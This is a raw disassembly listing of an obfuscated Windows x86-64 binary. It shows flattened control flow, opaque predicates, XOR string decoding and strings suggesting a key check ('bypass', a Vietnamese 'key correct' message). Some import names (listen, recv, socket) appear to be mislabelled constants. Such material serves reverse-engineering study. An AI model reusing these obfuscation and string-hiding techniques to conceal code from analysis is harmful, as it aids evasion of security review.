mov rcx, rbx
call rsi
add rsp, 0x20
mov eax, 0x553dae6
jmp 0x14001f1b0
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x14001f212
or cl, al
test cl, 1
je 0x14001f212
nop word cs:[rax + rax]
jmp 0x14001f210
test r12b, r12b
setne al
xor dil, al
not dil
and dil, al
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov ebx, 0xb5ee369a
mov r14d, 0xa1dae94d
jmp 0x14001f240
mov eax, 0xe9738f9d
nop dword [rax]
cmp eax, 0xe9738f9d
je 0x14001f391
cmp eax, 0x8e514f33
jne 0x14001f240
sub rsp, 0x20
lea rcx, [rbp - 0x30]
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x1b0]
cmp ecx, 0xa
setl byte [rbp + 0x138]
mov eax, 0xc7dc8da9
nop word cs:[rax + rax]
cmp eax, 0x354e3b8b
jg 0x14001f2e8
cmp eax, 0xa1dae94d
je 0x14001f327
cmp eax, 0xb5ee369a
je 0x14001f348
cmp eax, 0xc7dc8da9
jne 0x14001f2a0
movzx ecx, byte [rbp + 0x1b0]
movzx eax, byte [rbp + 0x138]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xb5ee369a
cmovne eax, esi
test cl, cl
cmove eax, ebx
test dl, dl
cmovne eax, esi
jmp 0x14001f2a0
cmp eax, 0x354e3b8c
je 0x14001f238
cmp eax, 0x559d78c6
je 0x14001f352
cmp eax, 0x66202512
jne 0x14001f2a0
mov eax, 0x51eaacfe
mov rcx, qword [rbp]
nop word [rax + rax]
cmp eax, 0x51eaacfe
je 0x14001f320
cmp eax, 0x89bfb55a
jne 0x14001f310
jmp 0x14001f331
mov eax, 0x89bfb55a
jmp 0x14001f310
mov eax, 0x66202512
jmp 0x14001f2a0
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x14001f2a0
mov eax, 0x559d78c6
jmp 0x14001f2a0
lea rax, [rbp - 0x30]
mov qword [rbp], rax
mov eax, dword [0x1402b5af0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xb5ee369a
cmove eax, r14d
cmp dword [0x1402b5af4], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x14001f2a0
and dil, 1
mov eax, edi
lea rsp, [rbp + 0x218]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x138], rbx
mov qword [rbp], r14
mov ecx, 0x487e63e6
mov esi, 0x1a5ede10
mov edi, 0xdcd1b738
mov r15d, 0xea3284b9
mov edx, dword [0x1402b5d08]
mov r9d, dword [0x1402b5d0c]
lea r8d, [rdx + 1]
imul r8d, edx
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
mov edx, 0xdcd1b738
cmove edx, esi
sete r10b
cmp r9d, 0xa
cmovge edx, edi
setl r11b
xor r11b, r10b
cmovne edx, esi
mov r10d, 0xdcd1b738
cmovne r10d, r15d
cmp r8d, 0xffffffff
mov r8d, r10d
cmove r8d, r15d
cmp r9d, 0xa
cmovge r8d, r10d
nop word cs:[rax + rax]
cmp ecx, 0x1a5ede0f
jle 0x14001f460
cmp ecx, 0x1a5ede10
je 0x14001f4a4
cmp ecx, 0x534804ab
je 0x14001f474
cmp ecx, 0x487e63e6
jne 0x14001f430
jmp 0x14001f480
cmp ecx, 0xdcd1b738
je 0x14001f479
cmp ecx, 0xea3284b9
jne 0x14001f430
mov ecx, edx
jmp 0x14001f430
mov ecx, r8d
jmp 0x14001f430
mov ecx, 0xea3284b9
jmp 0x14001f430
mov rcx, qword [rbp + 0x138]
mov rdx, qword [rbp]
sub rsp, 0x20
call fcn.1400f2140
add rsp, 0x20
xor al, 1
mov ecx, 0x534804ab
jmp 0x14001f3cb
and al, 1
mov byte [rbp + 0x1b0], al
movzx edi, byte [rbp + 0x1b0]
mov edx, dword [0x1402b5ca8]
mov eax, dword [0x1402b5cac]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
sete dl
cmp eax, 0xa
setl r8b
test r8b, dl
jne 0x14001f604
xor r8b, dl
jne 0x14001f604
mov qword [rbp + 0x138], rbx
mov qword [rbp], r14
mov ecx, 0x487e63e6
mov esi, 0xea3284b9
mov edi, 0xdcd1b738
mov r15d, 0x1a5ede10
jmp 0x14001f52f
mov rcx, qword [rbp + 0x138]
mov rdx, qword [rbp]
sub rsp, 0x20
call fcn.1400f2140
add rsp, 0x20
xor al, 1
mov ecx, 0x534804ab
mov edx, dword [0x1402b5d08]
mov r9d, dword [0x1402b5d0c]
lea r8d, [rdx + 1]
imul r8d, edx
not r8d
or r8d, 0xfffffffe
lea r10d, [rdx - 1]
imul r10d, edx
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r10b
mov edx, 0xdcd1b738
cmove edx, esi
cmp r9d, 0xa
cmovge edx, edi
cmp r8d, 0xffffffff
sete r11b
mov r8d, 0xdcd1b738
cmove r8d, r15d
cmp r9d, 0xa
setge r9b
cmovge r8d, edi
setl r12b
xor r12b, r11b
cmovne r8d, r15d
xor r9b, r10b
cmove edx, esi
cmp ecx, 0x1a5ede0f
jle 0x14001f5d0
cmp ecx, 0x1a5ede10
je 0x14001f5f0
cmp ecx, 0x534804ab
je 0x14001f5e5
cmp ecx, 0x487e63e6
jne 0x14001f5a0
jmp 0x14001f510
cmp ecx, 0xdcd1b738
je 0x14001f5e9
cmp ecx, 0xea3284b9
jne 0x14001f5a0
mov ecx, r8d
jmp 0x14001f5a0
mov ecx, edx
jmp 0x14001f5a0
mov ecx, 0xea3284b9
jmp 0x14001f5a0
and al, 1
mov byte [rbp + 0x1b0], al
movzx eax, byte [rbp + 0x1b0]
jmp 0x14001f3ab
test dil, 1
je 0x140025ed9
sub rsp, 0x20
lea rcx, [rbp + 0x110]
call fcn.140028110
add rsp, 0x20
sub rsp, 0x20
lea rsi, [rbp + 0x138]
mov rcx, rsi
mov rdx, rax
call fcn.140009f50
add rsp, 0x20
mov qword [rbp + 0x1b0], rsi
lea rax, str.bypass
mov qword [rbp], rax
mov ecx, 0xab36d7de
cmp ecx, 0x2fe01a44
je 0x14001f682
cmp ecx, 0xab36d7de
jne 0x14001f653
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp]
sub rsp, 0x20
call fcn.1400f2550
add rsp, 0x20
mov ecx, 0x2fe01a44
jmp 0x14001f653
and al, 1
mov byte [rbp + 0x190], al
movzx eax, byte [rbp + 0x190]
cmp al, 1
jne 0x14001f6c0
mov eax, dword [0x1402b5ca8]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x14001f6cc
xor cl, al
je 0x14001f70a
jmp 0x14001f6cc
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x14001f71f
or cl, al
test cl, 1
je 0x14001f71f
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
jmp 0x14001f6cc
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002e40
add rsp, 0x20
mov r14, rax
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x14001f772
or cl, al
test cl, 1
je 0x14001f772
nop word cs:[rax + rax]
jmp 0x14001f770
sub rsp, 0x20
mov rcx, rbp
call section..text
add rsp, 0x20
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x14001f7b2
or cl, al
test cl, 1
je 0x14001f7b2
nop dword [rax]
jmp 0x14001f7b0
sub rsp, 0x20
mov rdx, rbp
mov rcx, r14
call fcn.140002980
add rsp, 0x20
mov edx, dword [0x1402b5ca8]
lea ecx, [rdx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete dl
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, dl
jne 0x14001f7f2
xor cl, dl
jne 0x14001f7f2
nop dword [rax]
jmp 0x14001f7f0
mov qword [rbp + 0x120], rax
mov dword [rbp - 8], edi
mov eax, dword [0x1402b5d20]
mov ecx, dword [0x1402b5d24]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x15f]
cmp ecx, 0xa
setl byte [rbp + 0x160]
mov qword [rbp + 0x128], rsp
mov eax, 0x3e3c4ce2
lea r10, [rbp + 0x1b0]
mov r11d, 0x49aab3f8
mov r14d, 0x5326c9a6
mov r15d, 0xa6a1a9a1
mov r12d, 0x713de1e4
mov r13d, 0xde88099a
mov edx, 0xe387e907
mov ecx, 0x23c4f722
mov r9d, 0x77a3002b
jmp 0x14001f86f
mov eax, 0x4f66ebaa
cmp eax, 0x254a3795
jg 0x14001f89a
cmp eax, 0xbdd161c2
jle 0x14001f8e4
cmp eax, 0xfacf1089
je 0x140021af0
cmp eax, 0x12ee4f96
jne 0x140021b38
mov eax, 0x4fc395ed
jmp 0x14001f86f
cmp eax, 0x4f66eba9
jg 0x14001f904
cmp eax, 0x254a3796
je 0x14001f961
cmp eax, 0x3e3c4ce2
jne 0x14001f86f
movzx r8d, byte [rbp + 0x15f]
movzx eax, byte [rbp + 0x160]
mov esi, r8d
xor sil, al
mov esi, 0x9eb85e0c
mov edi, 0x4f66ebaa
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test r8b, r8b
cmove eax, esi
jmp 0x14001f86f
cmp eax, 0x9eb85e0c
je 0x14001f86a
cmp eax, 0xa9203178
jne 0x14001f86f
mov eax, 0x254a3796
jmp 0x14001f86f
cmp eax, 0x4f66ebaa
je 0x140021a91
cmp eax, 0x4fc395ed
jne 0x14001f86f
mov eax, dword [0x1402b5d20]
lea r8d, [rax - 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0x12ee4f96
mov edi, 0xbdd161c3
cmove eax, edi
cmp dword [0x1402b5d24], 0xa
mov esi, 0x12ee4f96
cmovge eax, esi
setl bl
xor bl, r8b
cmovne eax, edi
jmp 0x14001f86f
mov rax, qword [rbp + 0x130]
mov qword [rax], r10
mov eax, 0xed9a6d3
jmp 0x14001f9d0
mov qword [rbp + 0x188], r10
lea rax, str._____Key_chuan_roi______n
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x208]
mov qword [rbp + 0x168], rax
mov eax, dword [0x1402b5d28]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xa6a1a9a1
cmove eax, r9d
cmp dword [0x1402b5d2c], 0xa
cmovge eax, r15d
setl sil
xor sil, r8b
cmovne eax, r9d
nop
cmp eax, 0x5326c9a5
jg 0x14001fa40
cmp eax, 0xed9a6d2
jg 0x14001fad0
cmp eax, 0xa6a1a9a1
je 0x14001fb73
cmp eax, 0xb44986b8
jne 0x14001f9d0
mov eax, dword [0x1402b5d28]
mov r8d, dword [0x1402b5d2c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete dil
cmp r8d, 0xa
setl bl
xor bl, dil
mov edi, 0x5895d75c
cmovne edi, r11d
test eax, esi
mov eax, edi
cmove eax, r11d
cmp r8d, 0xa
cmovge eax, edi
jmp 0x14001f9d0
cmp eax, 0x713de1e3
jg 0x14001fb5e
cmp eax, 0x5326c9a6
je 0x14001f972
cmp eax, 0x5895d75c
jne 0x14001f9d0
mov rax, qword [rbp + 0x168]
mov r8, qword [rbp + 0x188]
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x170], r8
mov r8, qword [rbp + 0x170]
movsx rsi, byte [rax]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 0
mov esi, 0xa3b0714
nop
cmp esi, 0xd1ef75a6
je 0x14001fbbc
cmp esi, 0xa3b0714
jne 0x14001faa0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x14001faa0
cmp eax, 0xed9a6d3
je 0x14001fb7d
cmp eax, 0x49aab3f8
jne 0x14001f9d0
mov rax, qword [rbp + 0x168]
mov r8, qword [rbp + 0x188]
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x170], r8
mov r8, qword [rbp + 0x170]
movsx rsi, byte [rax]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 0
mov esi, 0xa3b0714
nop word cs:[rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020b12
cmp esi, 0xa3b0714
jne 0x14001fb30
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x14001fb30
cmp eax, 0x77a3002b
jne 0x140021a75
mov eax, 0xb44986b8
jmp 0x14001f9d0
mov eax, 0x5326c9a6
jmp 0x14001f9d0
mov eax, dword [0x1402b5d28]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xa6a1a9a1
cmove eax, r14d
cmp dword [0x1402b5d2c], 0xa
cmovge eax, r15d
setl sil
xor sil, r8b
cmovne eax, r14d
jmp 0x14001f9d0
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8], bl
movsx rsi, byte [rax + 1]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 1
mov esi, 0xa3b0714
nop dword [rax]
cmp esi, 0xd1ef75a6
je 0x14001fc22
cmp esi, 0xa3b0714
jne 0x14001fbf0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x14001fbf0
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 1], bl
movsx rsi, byte [rax + 2]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 2
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14001fc7a
cmp esi, 0xa3b0714
jne 0x14001fc50
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x14001fc50
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 2], bl
movsx rsi, byte [rax + 3]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 3
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14001fcda
cmp esi, 0xa3b0714
jne 0x14001fcb0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x14001fcb0
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 3], bl
movsx rsi, byte [rax + 4]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 4
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14001fd3a
cmp esi, 0xa3b0714
jne 0x14001fd10
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x14001fd10
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 4], bl
movsx rsi, byte [rax + 5]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 5
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14001fd9a
cmp esi, 0xa3b0714
jne 0x14001fd70
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x14001fd70
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 5], bl
movsx rsi, byte [rax + 6]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 6
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14001fe02
cmp esi, 0xa3b0714
jne 0x14001fdd0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x14001fdd0
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 6], bl
add r8, 7
mov qword [rbp + 0x178], r8
lea r8, [rax + 7]
mov qword [rbp + 0x180], r8
mov r8d, 0x42206ffc
jmp 0x14001fe90
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xc], bl
mov byte [r8 + 0xd], 0
mov r8, qword [rbp + 0x170]
mov byte [r8 + 0x19], 1
mov r8d, dword [0x1402b5d30]
lea esi, [r8 + 1]
imul esi, r8d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete bl
mov r8d, 0xe387e907
cmove r8d, r13d
cmp dword [0x1402b5d34], 0xa
cmovge r8d, edx
setl sil
xor sil, bl
cmovne r8d, r13d
nop
cmp r8d, 0x23c4f721
jle 0x14001ff30
cmp r8d, 0x23c4f722
je 0x14001ffab
cmp r8d, 0x25091560
je 0x140020ac0
cmp r8d, 0x42206ffc
jne 0x14001fe90
mov r8, qword [rbp + 0x180]
movsx r8, byte [r8]
mov qword [rbp + 0x1e8], r8
mov qword [rbp + 0x190], 7
mov esi, 0xa3b0714
nop word cs:[rax + rax]
cmp esi, 0xd1ef75a6
je 0x14002049e
cmp esi, 0xa3b0714
jne 0x14001fef0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
mov r8d, esi
xor r8d, esi
not r8d
and r8d, edi
xor r8d, esi
mov esi, 0xd1ef75a6
jmp 0x14001fef0
cmp r8d, 0xde88099a
je 0x140020b01
cmp r8d, 0xe387e907
jne 0x14001fe90
mov r8, qword [rbp + 0x200]
movsx r8, byte [r8 + 0xb]
mov qword [rbp + 0x1e8], r8
mov qword [rbp + 0x190], select
mov esi, 0xa3b0714
nop dword [rax]
cmp esi, 0xd1ef75a6
je 0x1400205f9
cmp esi, 0xa3b0714
jne 0x14001ff70
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
mov r8d, esi
xor r8d, esi
not r8d
and r8d, edi
xor r8d, esi
mov esi, 0xd1ef75a6
jmp 0x14001ff70
mov r8, qword [rbp + 0x200]
movsx r8, byte [r8 + 0xb]
mov qword [rbp + 0x1e8], r8
mov qword [rbp + 0x190], select
mov esi, 0xa3b0714
nop
cmp esi, 0xd1ef75a6
je 0x140020007
cmp esi, 0xa3b0714
jne 0x14001ffd0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
mov r8d, esi
xor r8d, esi
not r8d
and r8d, edi
xor r8d, esi
mov esi, 0xd1ef75a6
jmp 0x14001ffd0
mov byte [rbp + 0x1d8], r8b
movzx r8d, byte [rbp + 0x1d8]
mov rsi, qword [rbp + 0x1d0]
mov byte [rsi], r8b
mov r8, qword [rbp + 0x1d0]
movsx rsi, byte [rax + 0xc]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], select
mov esi, 0xa3b0714
nop word cs:[rax + rax]
cmp esi, 0xd1ef75a6
je 0x14002007a
cmp esi, 0xa3b0714
jne 0x140020050
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020050
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 1], bl
movsx rsi, byte [rax + 0xd]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_listen
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x1400200e2
cmp esi, 0xa3b0714
jne 0x1400200b0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400200b0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 2], bl
movsx rsi, byte [rax + 0xe]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohl
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14002013a
cmp esi, 0xa3b0714
jne 0x140020110
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020110
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 3], bl
movsx rsi, byte [rax + 0xf]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14002019a
cmp esi, 0xa3b0714
jne 0x140020170
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020170
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 4], bl
movsx rsi, byte [rax + 0x10]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_recv
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020202
cmp esi, 0xa3b0714
jne 0x1400201d0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400201d0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 5], bl
movsx rsi, byte [rax + 0x11]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_recvfrom
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020262
cmp esi, 0xa3b0714
jne 0x140020230
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020230
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 6], bl
movsx rsi, byte [rax + 0x12]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_select
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400202c2
cmp esi, 0xa3b0714
jne 0x140020290
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020290
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 7], bl
movsx rsi, byte [rax + 0x13]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_send
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14002031a
cmp esi, 0xa3b0714
jne 0x1400202f0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400202f0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 8], bl
movsx rsi, byte [rax + 0x14]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_sendto
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14002037a
cmp esi, 0xa3b0714
jne 0x140020350
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020350
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 9], bl
movsx rsi, byte [rax + 0x15]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_setsockopt
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x1400203e2
cmp esi, 0xa3b0714
jne 0x1400203b0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400203b0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xa], bl
movsx rsi, byte [rax + 0x16]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WLDAP32.dll_Ordinal_22
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14002043a
cmp esi, 0xa3b0714
jne 0x140020410
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020410
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xb], bl
movsx rsi, byte [rax + 0x17]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_socket
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14001fe32
cmp esi, 0xa3b0714
jne 0x140020470
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020470
mov byte [rbp + 0x1d8], r8b
movzx r8d, byte [rbp + 0x1d8]
mov rsi, qword [rbp + 0x178]
mov byte [rsi], r8b
mov r8, qword [rbp + 0x178]
movsx rsi, byte [rax + 8]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 8
mov esi, 0xa3b0714
nop word [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020512
cmp esi, 0xa3b0714
jne 0x1400204e0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400204e0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 1], bl
movsx rsi, byte [rax + 9]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 9
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020572
cmp esi, 0xa3b0714
jne 0x140020540
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020540
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 2], bl
movsx rsi, byte [rax + 0xa]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 0xa
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400205ca
cmp esi, 0xa3b0714
jne 0x1400205a0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400205a0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 3], bl
add r8, 4
mov qword [rbp + 0x1d0], r8
mov qword [rbp + 0x200], rax
mov r8d, 0x25091560
jmp 0x14001fe90
mov byte [rbp + 0x1d8], r8b
movzx r8d, byte [rbp + 0x1d8]
mov rsi, qword [rbp + 0x1d0]
mov byte [rsi], r8b
mov r8, qword [rbp + 0x1d0]
movsx rsi, byte [rax + 0xc]
